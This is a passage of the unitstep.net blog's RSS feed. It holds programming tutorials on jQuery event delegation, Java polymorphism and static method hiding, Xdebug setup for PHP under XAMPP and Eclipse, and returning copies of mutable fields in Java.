    return expandList.call(target, e);
  }
  else if (target.is('a.remove'))
  {
    return remove.call(target, e);
  }
  else
  {
    // Otherwise, allow the default action to take place.
    return true;
  }
}

function expandList(e)
{
  e.preventDefault();

  // The `this` keyword now references the jQuery object representing the
  // target, since that is what we set the context to.
  jQuery(this).parent('li').find('ul.hide').slideToggle('fast');
}

function remove(e)
{
  e.preventDefault();
  jQuery(this).parent('li').fadeOut('normal', function(){jQuery(this).remove()});
}</code></pre>
<p>With this example, the steps are clearly outlined.  First, we attach the overall event handler to the container element; events that take place on its inner or children element will bubble up to it.  When an event is received, we inspect <code>event.target</code> to determine the origin and based on that, &#8220;hand off&#8221; to another function to carry out the proper behaviour. </p>
<p>With some standardization of the <acronym class="uttInitialism" title="Cascading Style Sheets">CSS</acronym> class names you use and the associated event handler function names, you can clean up this code to reduce duplication and turn it into a design pattern of sorts.  In fact, that&#8217;s <a href="http://www.danwebb.net/2008/2/8/event-delegation-made-easy-in-jquery">exactly what Dan Webb has done</a>.</p>
<h3>More advantages of event delegation</h3>
<p>Besides potentially using less resources by having less event handlers bound, event delegation brings one other significant advantage: <strong>The ability to have event handlers &#8220;auto bind&#8221; to new DOM elements</strong>.  For example, let&#8217;s say we were to dynamically update the DOM and add more list items to our previous example; this sort of action happens frequently during Ajax operations where you want to present new content to the user.  </p>
<p>In the &#8220;traditional&#8221; event handling model, the new elements <strong>would not automatically respond to events</strong> as you would like.  This is because the events were individually bound to each element.  This is <a href="http://docs.jquery.com/Frequently_Asked_Questions#Why_do_my_events_stop_working_after_an_AJAX_request.3F">a well known problem</a>.  However, in event delegation, since there&#8217;s only one event handler bound to the <strong>container or ancestor element</strong>, the newly-created elements will respond to the event properly! This is because an event on them &#8220;bubbles&#8221; up to the container element just as for the original elements.</p>
<h3><a href="/projects/javascript-event-delegation/javascript-event-delegation.html">Demo of Event Delegation</a></h3>
<p>Perhaps <a href="/projects/javascript-event-delegation/javascript-event-delegation.html">a little demo</a> is needed.  With this demo, you can see both the implementation of event delegation as well as the effect of adding new elements.</p>
<h3>Drawbacks of event delegation</h3>
<p>I&#8217;ve already talked about some of the benefits (fewer bound event handlers, so less resources used and the ability to adapt with DOM changes), but it&#8217;s worthwhile to iterate over some of the drawbacks.  </p>
<ol>
<li>Firstly, not all elements &#8220;bubble up&#8221; in the way described.  The <code>blur</code>, <code>focus</code>, <code>change</code> and <code>submit</code> are notable exceptions so you will not be able to use event delegation with these events in the manner described in this article.</li>
<li>Furthermore, the code developed to maintain event delegation can be more complicated to understand than with just using the traditional model.  Indeed, there is an initial investment time everyone must make to get going.  This should obviously be considered since code maintenance is always important.</li>
<li>Because there&#8217;s one event handler being called for all events on inner/descendant elements, there can be some performance implications.  If you&#8217;re calling expensive functions within this event handler, the event processing could slow down significantly.  Careful optimization may be required.</li>
</ol>
<p>However, some of these drawbacks can be mitigated by using solutions developed by the jQuery community.  Even though event delegation is somewhat new, there are already plugins available that take a lot of the grunt-work out of event delegation, abstracting away the details and making things easier for you.  Even jQuery itself also supports event delegation through a built-in function as of v1.3.  Here are some options for pre-built solutions:</p>
<ul>
<li><a href="http://www.danwebb.net/2008/2/8/event-delegation-made-easy-in-jquery">Dan Webb&#8217;s Delegate Plugin</a><br />
This is a fairly straightforward way to implement delegation and it&#8217;s easy to setup and understand.</li>
<li><a href="http://docs.jquery.com/Events/live#typefn">jQuery&#8217;s built in <code>live()</code> function</a><br />
This supports a subset of events but is good enough for most uses.</li>
<li><a href="http://plugins.jquery.com/project/livequery">The Live Query plugin</a><br />
This is your best bet if you need the most functionality, though I haven&#8217;t personally tried it out yet.</li>
</ul>
<h3>Conclusion</h3>
<p>Delegation nicely solves the problem of having to rebind events after adding new elements to the DOM.  For that reason alone, I&#8217;ve started to use in my work more often.  At its heart, it&#8217;s a useful design pattern, but should be only with full understanding of the pros and cons.  I hope you enjoyed reading this article!</p>
<h3>References</h3>
<ol class="note less">
<li><a href="http://www.danwebb.net/2008/2/8/event-delegation-made-easy-in-jquery">Event Delegation Made Easy</a></li>
<li><a href="http://usabletype.com/weblog/event-delegation-without-javascript-library/">Event delegation without a JavaScript library</a></li>
<li><a href="http://www.sitepoint.com/blogs/2008/07/23/javascript-event-delegation-is-easier-than-you-think/">JavaScript Event Delegation is Easier than You Think</a></li>
<li><a href="http://docs.jquery.com/Frequently_Asked_Questions#Why_do_my_events_stop_working_after_an_AJAX_request.3F">Why do my events stop working after an <acronym class="uttAcronym" title="Asynchronous Javascript And XML">AJAX</acronym> request?</a></li>
</ol>
<h4>Revisions</h4>
<ul class="note less">
<li>2009-02-20: Added a crude diagram of event bubbling</li>
</ul>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/02/19/javascript-event-delegation/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Java Polymorphism and Overriding Methods</title>
		<link>http://unitstep.net/blog/2009/02/13/java-polymorphism-and-overriding-methods/</link>
		<comments>http://unitstep.net/blog/2009/02/13/java-polymorphism-and-overriding-methods/#comments</comments>
		<pubDate>Fri, 13 Feb 2009 16:18:10 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[java]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=600</guid>
		<description><![CDATA[Most Java developers will be familiar with polymorphism &#8211; we&#8217;ve all seen the example of the Dog and Cat classes inheriting from some abstract Animal class and having their say() methods produce different results.  But it&#8217;s still worthwhile to look at a few simple examples to reinforce the concepts.
First, we define a simple class [...]]]></description>
			<content:encoded><![CDATA[<p>Most Java developers will be familiar with polymorphism &#8211; we&#8217;ve all seen the example of the <code>Dog</code> and <code>Cat</code> classes inheriting from some abstract <em>Animal</em> class and having their <code>say()</code> methods produce different results.  But it&#8217;s still worthwhile to look at a few simple examples to reinforce the concepts.</p>
<p>First, we define a simple class with one instance method and one static method.</p>
<pre><code>public class A
{
  public String getName()
  {
    return "I am A";
  }

  public static String getStaticName()
  {
    return "Statically A!";
  }
}</code></pre>
<p>Then we extend that class with one that has identical method signatures.</p>
<pre><code>public class B extends A
{
  // Note: @Override only makes sense for instance methods.
  // The annotation is not needed but makes for best practices, since if the
  // method DOES NOT override a superclass, a compile-time error will be
  // generated, limiting damage. (@Override was added in Java 1.5)
  @Override
  public String getName()
  {
    return "I am B";
  }

  public String onlyOnB()
  {
    return "Only available on B";
  }

  // Cannot @Override, generates a compile error. Instead, this methods
  // `hides` the one in the super class.
  public static String getStaticName()
  {
    return "Statically B!";
  }

  public static void main( String[] args )
  {
    A a = new A();
    B b = new B();

    A b_as_a = new B();
    A b_as_a_copied_from_reference = b;

    System.out.println(a.getName());
    System.out.println(a.getStaticName() + "\n");

    System.out.println(b.getName());
    System.out.println(b.getStaticName() + "\n");

    System.out.println(b_as_a.getName());
    System.out.println(b_as_a.getStaticName() + "\n");

    System.out.println(b_as_a_copied_from_reference.getName());
    System.out.println(b_as_a_copied_from_reference.getStaticName() + "\n");
  }
}</code></pre>
<p>Sorry for the funky variable names in <code>main()</code>, but camelCase just didn&#8217;t look good.  Anyway, can you guess the output of the program?  It&#8217;s actually quite interesting:</p>
<pre><code>I am A
Statically A!

I am B
Statically B!

I am B
Statically A!

I am B
Statically A!</code></pre>
<p>The first two are fairly straightforward, since for variables <code>a</code> and <code>b</code>, the declared type matches the instantiated type, so there can be no doubt.  But what happens when the declared type does not match the instantiated type, as in the second two examples?</p>
<p>The short answer is this: <strong>When instance methods are invoked, they will always be called on the instantiated type, regardless of the declared type.  When static or class methods are invoked, they will be called on the declared type.</strong></p>
<h2>Declared type vs. instantiated type</h2>
<p>You can think of the declared type as a &#8220;window&#8221; into the actual instantiated type.  This &#8220;window&#8221; provides a view as to what methods are available for invocation and provides these hints to the compiler.  This is why you cannot call a method that exists on an instantiated type unless it has been declared or exists on the declared type.  (The use of interfaces provides the best example of this)</p>
<p>When an <em>instance method</em> is invoked, the JVM will then determine the <em>runtime</em> type of the variable and then call the appropriate method on that object.  This is why for the last two examples, the output was <code>I am B</code>, even though the declared type was <code>A</code>.  This is what allows polymorphism to work in Java.</p>
<p>However, when a <em>static or class method</em> is invoked, it will always be invoked from the <em>declared type</em>, regardless of what the runtime or instance type is.  This is because static methods are <em>per-class</em> rather than <em>per-instance</em> and thus the exact method invoked can be determined at compile time from the declared type.  This is why for the last two examples, the output is from the the method defined on class <code>A</code>, the declared type of the two variables.</p>
<h2>What Sun has to say</h2>
<p><a href="http://java.sun.com/docs/books/tutorial/java/IandI/override.html">Sun&#8217;s own tutorials</a> on these subjects refers to this as <em>hiding</em>; that is, when a subclass static method has the same signature as one in a superclass, it <em>hides</em> it instead of overriding it.  <em>Override</em> is a term reserved for instance methods only, and in fact, marking <code>getStaticName()</code> with the annotation <code>@Override</code> in class <code>B</code> results in a compile-time error.</p>
<p>However, to me, it&#8217;s far simpler to just remember that static methods are always invoked on the <em>declared type</em>, while instance methods will be invoked on the <em>instantiated type</em>.  This provides an easy way to remember how things work in the JVM.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/02/13/java-polymorphism-and-overriding-methods/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Getting Xdebug to work with Apache/XAMPP to debug PHP</title>
		<link>http://unitstep.net/blog/2009/01/26/getting-xdebug-to-work-with-apachexampp-to-debug-php/</link>
		<comments>http://unitstep.net/blog/2009/01/26/getting-xdebug-to-work-with-apachexampp-to-debug-php/#comments</comments>
		<pubDate>Tue, 27 Jan 2009 03:00:11 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[eclipse]]></category>
		<category><![CDATA[guides]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[tutorials]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=661</guid>
		<description><![CDATA[
I&#8217;ve written about Eclipse and how useful it can be, with its extensible plugin-based system. It&#8217;s so useful that I use it everyday for almost any language &#8211; Java, PHP, JavaScript to name a few.  It&#8217;s even great for things like CSS and XHTML. 
PHP is currently my favourite &#8220;hobby&#8221; language and has been [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><a href="http://xdebug.org/"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/01/xdebug-logo.png" alt="xdebug-logo" title="xdebug-logo" width="200" height="116" /></a></p>
<p>I&#8217;ve written <a href="/blog/2008/02/10/eclipse-the-best-and-only-ide-youll-ever-need/">about Eclipse</a> and how <a href="/blog/2008/01/19/using-assemblas-trac-with-eclipse-mylyn-xml-rpc-access/">useful it can be</a>, with its extensible plugin-based system. It&#8217;s so useful that I use it everyday for almost any language &#8211; Java, <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym>, JavaScript to name a few.  It&#8217;s even great for things like <acronym class="uttInitialism" title="Cascading Style Sheets">CSS</acronym> and <a href="http://www.w3.org/MarkUp/" class="ubernym uttInitialism"><acronym class="uttInitialism" title="eXtensible HyperText Markup Language - HTML reformulated as XML">XHTML</acronym></a>. </p>
<p><acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> is currently my favourite &#8220;hobby&#8221; language and has been for some time.  While I like <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym>, one of the things that hasn&#8217;t been straightforward with it is setting up a proper debug session, where you can step through code.  This contrasts heavily with a language like Java, which has always had strong developer tools.  This has resulted in a mass of third-party tools aimed at facilitating <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> debugging.  A while ago, a reader emailed me asking about this very topic, so I decided to put together how-to detailing my experience with the topic and how I went about learning it.</p>
<h2>Xdebug for <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> and XAMPP</h2>
<p>The debugger I&#8217;ll be using will be <a href="http://www.xdebug.org/">Xdebug</a>. Because <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> provide no built-in debugging tools, there are many third-party options for debugging. (See the &#8220;Debugging Tools&#8221; section of <a href="http://www.smashingmagazine.com/2009/01/20/50-extremely-useful-php-tools/">this article</a> for more) However, Xdebug seems to be one of the more popular ones, and <a href="http://www.eclipse.org/pdt/">Eclipse PDT</a> already has support for it.</p>
<p>This guide also assumes use of <a href="http://www.apachefriends.org/en/xampp.html">XAMPP</a>, the great all-in-one solution for quickly setting up a web development environment and to get your code running on the server. XAMPP is great for hitting the ground running, though you&#8217;ll probably not want to use it in a production environment &#8211; though you likely won&#8217;t be debugging there either.  Nevertheless, the instructions provided here should work even if you&#8217;ve setup Apache and <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> separately on your own.</p>
<h2>Getting started</h2>
<p>The first thing you&#8217;ll want to do is head over the <a href="http://www.xdebug.org/download.php">Xdebug</a> page and download the appropriate Zend extension of Xdebug corresponding to the version of <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> you&#8217;re running.  Save the file into your <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> extension path/folder.  Now you&#8217;ll have to edit your <code>php.ini</code> file to begin using the plugin.  The plugin basically exposes or provides an interface for the client debugger (running in Eclipse or your IDE) to attach to the server and debug/trace through the code that&#8217;s running on it.  If you&#8217;re from the Java world, you&#8217;ll know this as &#8220;remote debugging&#8221;, which is provided by most J2EE application servers.</p>
<p>You&#8217;ll also want to have downloaded <a href="http://www.eclipse.org/pdt/">Eclipse PDT</a> have that installed as your IDE, if you haven&#8217;t already done so.  <a href="http://www.zend.com/en/products/studio/">Zend Studio for Eclipse</a> also works, since it&#8217;s based on Eclipse PDT, and offers quite a few more features, out of the box.</p>
<h2>Setting up Xdebug</h2>
<p>You should have already saved the Xdebug extension DLL file to your <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> extension folder.  Record down the full path of it.  Now, open up your <code>php.ini</code> file and go down to the <code>[XDebug]</code> section, or create it if it&#8217;s not there.  Uncomment or add the following lines:</p>
<pre><code>;; Only Zend OR (!) XDebug
zend_extension_ts="D:\XAMPP\php\ext\php_xdebug.dll"
xdebug.remote_enable=On
xdebug.remote_host="localhost"
xdebug.remote_port=9000
xdebug.remote_handler=dbgp</code></pre>
<p>The <code>zend_extension_ts</code> should point to location of your Xdebug extension DLL that you downloaded earlier; modify as appropriate.</p>
<p>Then, you <strong>should disable the Xdebug entry in the list of dynamic extensions</strong>. This is confusing, but since we are already setting up Xdebug as a Zend extension, we don&#8217;t need another entry.  Disable the Xdebug dynamic extension by ensuring the following line is commented out, like below:</p>
<pre><code>;extension=php_xdebug.dll</code></pre>
<p>There is one last very important step you need to do, particularly if you are running XAMPP.  <strong>Current versions of Xdebug are incompatible with the Zend optimizer that is enabled by default in XAMPP, so you must disable that if you want Xdebug to work</strong>.  If you don&#8217;t, you&#8217;ll notice that Apache will crash every time you try to load it with Xdebug enabled.  To disable the Zend optimizer, find the <code>[Zend]</code> section in <code>php.ini</code> and comment out all of the entries under it, like so: (This is an example, there may be more to comment out)</p>
<pre><code>[Zend]
;zend_extension_ts = "D:\XAMPP\php\zendOptimizer\lib\ZendExtensionManager.dll"
;zend_extension_manager.optimizer_ts = "D:\XAMPP\php\zendOptimizer\lib\Optimizer"
;zend_optimizer.enable_loader = 0
;zend_optimizer.optimization_level=15
;zend_optimizer.license_path =</code></pre>
<p>You should be able to start Apache now without troubles.</p>
<h2>Configuring Eclipse for <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> debugging</h2>
<p>The next part will be configuring Eclipse as a debugging client.  Since the code will be executing on the web server (Apache), you&#8217;ll need Eclipse to &#8220;hook in&#8221; using the Xdebug protocol.  Thankfully, configuring Eclipse is fairly straightforward.</p>
<p>Open up Eclipse&#8217;s preferences and go to <strong>PHP -> Debug</strong>, and ensure that XDebug is selected as the <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> debugger.  This sets the default for debugging sessions and lessens the configuration required for each debug session.  You can also make sure that the default web server is <code>localhost</code> if that&#8217;s the case, which it&#8217;ll likely be for a lot of people doing development.</p>
<p><strong>Note that if you are running Zend Studio</strong>, you&#8217;ll need to <a href="http://www.maxhorvath.com/2008/08/how-to-enable-the-xdebug-debugger-in-zend-studio-for-eclipse.html">follow the steps in this article to enable Xdebug support</a>.  It seems that some versions of Zend Studio by default disabled support for the Xdebug plugin in lieu of their own Zend Debugger. </p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2009/01/php-debug-1.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/01/php-debug-1-300x241.jpg" alt="php-debug-1" title="php-debug-1" width="300" height="241" class="alignnone size-medium wp-image-695" /></a>
</p>
<p>Now you can select a file from a project you&#8217;d like to debug.  In my case, I&#8217;ve selected <code>src/demo/index.php</code> from my <a href="/blog/2008/03/29/a-challenge-response-ajax-php-login-system/">Challenge-Response <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> Login System</a> project.  Open the file, and then go to the <strong>Run Menu</strong> and select <strong>Debug Configurations&#8230;</strong> or <strong>Open Debug Dialog</strong>.</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2009/01/php-debug-2.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/01/php-debug-2-300x202.jpg" alt="php-debug-2" title="php-debug-2" width="300" height="202" class="alignnone size-medium wp-image-697" /></a>
</p>
<p>Double click the the &#8220;<acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> Web Page&#8221; entry on the left side bar to create a new debug profile.  Here, I&#8217;ve named it &#8220;CHAP-PHP&#8221;.  You should see a dialog like the one above.  Make sure the &#8220;Server Debugger&#8221; is again set to Xdebug and that the <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> Server is set to the localhost configuration you set up previously.  </p>
<p>Then you have to select the file you want to debug.  Click on &#8220;Browse&#8221;, and you&#8217;re confusingly taken to another view of your Eclipse projects; simply select the same file as before &#8211; you have to select a specific file, and not just a project or folder.</p>
<p>After that, you&#8217;ll need to adjust the <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> mapping.  You&#8217;ll probably need to uncheck &#8220;Auto Generate&#8221;, and then <strong>enter the <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> that corresponds to the <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> file you&#8217;re debugging</strong>.  Here, I&#8217;ve manually entered <code>/projects/CHAP/trunk/src/demo/</code> as the <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> fragment that triggers execution of the script.</p>
<p>If you want the debugger to stop right at the first line to allow you to immediately begin stepping through code, check &#8220;Break at First Line&#8221;. (It may be checked by default) Otherwise, uncheck it if you only want the debugger to stop at the breakpoints you&#8217;ve specified in Eclipse, which is the normal behaviour most developers will expect. </p>
<p>You should now be able to click &#8220;Debug&#8221;, and a debug session will launch, opening up the <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> you&#8217;ve specified and allowing you to step through code.  If you don&#8217;t like Eclipse using its own internal web browser (which appears just be a front for IE), you can configure which web browser you&#8217;d like it to launch URLs with by opening up Preferences and then going to <strong>General -> Web Browser</strong> and changing the setting to use an external web browser of your choice.  Personally, Firefox is my preference.</p>
<h2>Start your debugging engines!</h2>
<p>You can now get acquainted with stepping through code, which in my opinion, is one of the best ways to learn! When you launch a debug session, Eclipse should prompt you to switch to a new &#8220;perspective&#8221;, which is just a different layout of Eclipse&#8217;s internal windows that many believe better suit debugging through code.  </p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2009/01/php-debug-3.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/01/php-debug-3-300x227.jpg" alt="php-debug-3" title="php-debug-3" width="300" height="227" class="alignnone size-medium wp-image-698" /></a>
</p>
<p>You&#8217;re provided with an informative view of the script your currently debugging, along with the highlighted line that execution has paused on.  You can set debug breakpoints by double-clicking in the left margin of your source code view window; debug breakpoints show up as blue circles here.  The buttons at the top (green &#8220;Play&#8221;, red &#8220;Stop&#8221; and others) provide control over execution of the code, allowing you to step through code line-by-line, step into functions/methods and return from them.  I encourage you to experiment with all of the controls and get acquainted with the keyboard shortcuts.</p>
<p>Another panel also shows all the current variables available to the script as well as their values.  This is useful since you now do not need to <code>echo</code> anything to output or change any of the code to see values.  </p>
<p>When you&#8217;re done, you can just click the red &#8220;stop&#8221; button to disconnect from the server and end the debug session.  If you&#8217;ve completely stepped through a script, you will not be automatically disconnected from the server.  Instead, the debug client in <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> will patiently wait to debug the script again the next time it is executed.  This is useful to know, since you can just go back to the <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> in your web browser and reload the page to trigger the debug session to resume again. </p>
<h2>Conclusion</h2>
<p>I hope you found this useful, as when I was starting out trying to get a <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> debug session to work, it was somewhat frustrating. As always, I welcome your comments, suggestions and questions below via the comments form!</p>
<h3>References</h3>
<ol class="less note">
<li><a href="http://stackoverflow.com/questions/206788/why-does-xdebug-crash-apache-on-every-xampp-install-ive-tried">Why does xdebug crash apache on every XAMPP install I’ve tried?</a></li>
<li><a href="http://xdebug.org/docs/">Xdebug: Documentation</a></li>
<li><a href="http://www.maxhorvath.com/2008/08/how-to-enable-the-xdebug-debugger-in-zend-studio-for-eclipse.html">How to enable the Xdebug debugger in Zend Studio for Eclipse</a></li>
<li><a href="http://devzone.zend.com/article/2930-Debugging-PHP-applications-with-xdebug">Debugging <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> applications with Xdebug</a></li>
</ol>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/01/26/getting-xdebug-to-work-with-apachexampp-to-debug-php/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Handling mutable fields in Java</title>
		<link>http://unitstep.net/blog/2008/12/14/handling-mutable-fields-in-java/</link>
		<comments>http://unitstep.net/blog/2008/12/14/handling-mutable-fields-in-java/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 02:11:27 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[mutability]]></category>
		<category><![CDATA[objects]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=604</guid>
		<description><![CDATA[In Java, a mutable object is one whose state can be altered after it has been instantiated.  An immutable object is one whose state is fixed after instantiation; that is, the data represented by the object cannot be changed in that object.  Perhaps the most well-known immutable type is the built in String [...]]]></description>
			<content:encoded><![CDATA[<p>In Java, a <em>mutable</em> object is one whose state can be altered after it has been instantiated.  An <em>immutable</em> object is one whose state is fixed after instantiation; that is, the data represented by the object cannot be changed in that object.  Perhaps the most well-known immutable type is the built in <a href="http://java.sun.com/javase/6/docs/api/java/lang/String.html">String</a> class; while there are methods on the String class that seemingly alter its state (such as <code>toUpperCase()</code> and <code>trim()</code>), in actuality these methods return a <em>new</em> String object if changes had to be made.  In this article I&#8217;ll discuss how mutability will affect how you expose private fields in objects.</p>
<h2>Pop Quiz</h2>
<p>Consider the following code fragment.  We create a <code>MapContainer</code> object, and then get the contained map, which is guaranteed to have a certain value associated with the key &#8220;today&#8221;.  We then alter the value associated with this key, using our <em>local reference</em> to returned map.  We then query the <code>MapContainer</code> object and get the contained map again.  What is the value associated with the key &#8220;today&#8221; in this map?</p>
<pre><code>final MapContainer mapContainer = new MapContainer();
final Map&lt;String, String&gt; map = mapContainer.getKeyValuePairs();

final String today = map.get("today");
assert null != today;
System.out.println(today);  // Returns the current date-time.

// Change the value using our local reference.
map.put("today", "tomorrow");

final Map&lt;String, String&gt; mapAgain = mapContainer.getKeyValuePairs();
System.out.println(mapAgain.get("today")); // What is output?</code></pre>
<p>Don&#8217;t waste too much time on this problem, as it&#8217;s a trick question.  The answer actually depends on the implementation of <code>MapContainer</code>.  Depending on how it&#8217;s implemented, the second output could be unchanged from the first <strong>or</strong> be changed to the new value of &#8220;tomorrow&#8221;.</p>
<h2>It&#8217;s all in the getters</h2>
<p>Let&#8217;s take a look at the code for <code>MapContainer</code>.  </p>
<pre><code>import java.util.Date;
import java.util.HashMap;
import java.util.Map;

public class MapContainer
{
  final private Map&lt;String, String&gt; keyValuePairs;

  public MapContainer()
  {
    this.keyValuePairs = new HashMap&lt;String, String&gt;();
    this.keyValuePairs.put("today", new Date().toString());
  }

  public Map&lt;String, String&gt; getKeyValuePairs()
  {
    return keyValuePairs;
  }
}</code></pre>
<p>We have a simple constructor that initializes the <code>keyValuePairs</code> Map and adds one value for the current date-time.  But the real &#8216;key&#8217; (no pun intended) to solving the problem is looking at the getter for the field.  As you can see, it simply returns a reference to the private field.  <strong>Under this implementation, a caller is able to alter the contents of the private field/Map even though no public &#8220;set&#8221; methods are available</strong>.  Why is this? For two reasons: In Java, objects are passed/returned by reference, and <code>HashMap</code> is a mutable object.  Thus using this implementation, the second output from our original code fragment is &#8220;tomorrow&#8221;, since the caller has altered the contents of the Map through the returned reference.</p>
<p>Furthermore, the original reference returned from the getter is not independent either; if some other code were to call the get method on the <code>MapContainer</code> object and make changes to the Map, those changes would also be reflected in the original returned reference!</p>
<p>How can we &#8220;fix&#8221; this? We simply have to ensure that the getter for the field returns a reference to a <em>copy</em> of the private Map.  This is easy since there is a <a href="http://java.sun.com/javase/6/docs/api/java/util/HashMap.html#HashMap(java.util.Map)">constructor for <code>HashMap</code></a> that accepts an existing Map.  Here&#8217;s the altered code:</p>
<pre><code>import java.util.Date;
import java.util.HashMap;
import java.util.Map;

public class MapContainer
{
  final private Map&lt;String, String&gt; keyValuePairs;

  public MapContainer()
  {
    this.keyValuePairs = new HashMap&lt;String, String&gt;();
    this.keyValuePairs.put("today", new Date().toString());
  }

  public Map&lt;String, String&gt; getKeyValuePairs()
  {
    <strong>return new HashMap&lt;String, String&gt;(keyValuePairs);</strong>
  }
}</code></pre>
<p>With these changes, the private Map cannot be altered by a caller and thus the second output will remain changed in our first code fragment example.</p>
<h2>To change, or not to change?</h2>
<p>It should be noted that sometimes you <em>may want to allow</em> callers to alter the backing data structure that you return from a get method.  For example, some of the data structures from the <a href="http://java.sun.com/javase/6/docs/api/java/util/Collection.html">Java Collection Framework</a> have getters that return references that can be used to alter the state of the original object.  A good example is the <a href="http://java.sun.com/javase/6/docs/api/java/util/HashMap.html#entrySet()"><code>entrySet()</code></a> method of the <code>HashMap</code> object. </p>
<p>But in my opinion, these examples are the exception rather than the rule.  In general, you do not want to allow callers to be able to alter the state of private fields directly since this violates information-hiding principles.  If there is some change a caller needs to make to your object, it&#8217;s best accomplished through a set method since this allows you to control the changes and prevents unwanted/unexpected situations.  If you do decide to allow callers to directly alter the state of private fields, it&#8217;s best to explicitly document this in the JavaDoc.</p>
<h2>Mutability and safety</h2>
<p>Note that in this example the field used was a <code>HashMap</code> object, which was mutable.  If the field consisted of an immutable object, like a <code>String</code>, you would not have to worry about making a copy before returning it.  This is because if the object is immutable, you do not have to worry about a caller changing its state because this is impossible to do!  This is why immutable objects are much easier to deal with in multithreaded/concurrent environments.</p>
<p>Note that mutability has nothing to do with the <code>final</code> keyword in Java, contrary to <a href="http://mindprod.com/jgloss/mutable.html">this definition</a>.  Simply marking a field as &#8220;<code>final</code>&#8221; will not magically change a mutable object into an immutable one.  As we saw earlier, whether an object is mutable or not depends entirely on its implementation, the details of which should be expressed in the JavaDoc for that class.  The <code>final</code> keyword only ensures that you cannot reassign that field/variable to completely new reference or object; it <strong>does not</strong> ensure that you can&#8217;t change the state of the object already referenced.</p>
